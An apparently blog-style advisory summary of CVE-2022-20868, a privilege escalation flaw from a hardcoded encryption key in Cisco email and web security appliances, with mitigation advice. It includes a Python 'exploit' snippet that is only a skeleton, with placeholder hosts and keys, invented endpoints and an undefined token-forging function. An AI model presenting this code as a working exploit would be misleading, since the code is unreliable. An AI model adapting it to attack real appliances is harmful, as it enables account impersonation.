CVE-2022-20868: Critical Vulnerability in Cisco Email Security Appliance, Cisco Secure Email and Web Manager, and Cisco Secure Web Appliance

A critical vulnerability (CVE-2022-20868) has been discovered in the web-based management interface of Cisco Email Security Appliance, Cisco Secure Email and Web Manager, and Cisco Secure Web Appliance which could potentially allow an authenticated, remote attacker to escalate their privileges on an affected system. To exploit this vulnerability, the attacker needs to have valid credentials on the affected device, hence emphasizing the need to secure and protect user accounts. In this post, we will provide an in-depth understanding of this vulnerability, including code snippets, exploit details, and links to original references.

Background

This vulnerability stems from the improper use of a hardcoded encryption key value in certain API calls. Specifically, a token used for encrypting authenticated API calls is generated using this hardcoded value. Consequently, an attacker with authenticated access can craft malicious HTTP requests to impersonate other valid user accounts and execute commands with the privileges of those other users.

Exploit Details

An attacker can exploit this vulnerability by first authenticating to the device using their valid credentials. After successful authentication, the attacker can send a crafted HTTP request with a maliciously constructed token using the hardcoded encryption key value. A successful exploit would allow the attacker to impersonate another valid user and execute commands with that user's privilege level.

Here is an example of a code snippet that demonstrates the exploitation of this vulnerability

import requests
import json

# Variables
target_url = 'https://target.example.com/';
username = 'attacker_username'
password = 'attacker_password'
victim_user = 'victim_username'

# Replace with the hardcoded encryption key value for the affected system
hardcoded_key = 'hardcoded_value_here'

# Authenticate and obtain session token
response = requests.post(target_url + 'api/authenticate', data={'username': username, 'password': password})
session_token = response.json()['session_token']

# Craft the malicious token
malicious_token = create_malicious_token(session_token, hardcoded_key, victim_user)

# Send the crafted HTTP request with the malicious token
headers = {'Authorization': f'Bearer {malicious_token}'}
response = requests.get(target_url + 'api/vulnerable_endpoint', headers=headers)

# Check for success
if response.status_code == 200:
    print('Exploit successful!')
else:
    print('Exploit failed.')

Mitigation and Security Recommendations

Cisco has already released patches to address this vulnerability. It is highly recommended that affected users update their devices with the latest software version as mentioned in Cisco's official security advisories.

Original References

1. Cisco Security Advisory - Web-Based Management Interface Privilege Escalation Vulnerability
2. NVD - CVE-2022-20868

Conclusion

CVE-2022-20868 is a critical vulnerability affecting Cisco Email Security Appliance, Cisco Secure Email and Web Manager, and Cisco Secure Web Appliance. By exploiting this vulnerability, an attacker could escalate their privileges on the affected system by impersonating other valid users. Users are strongly encouraged to update their devices with the latest security patches provided by Cisco and maintain strong authentication measures to minimize the risk of unauthorized access to their systems.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 14:29:00 UTC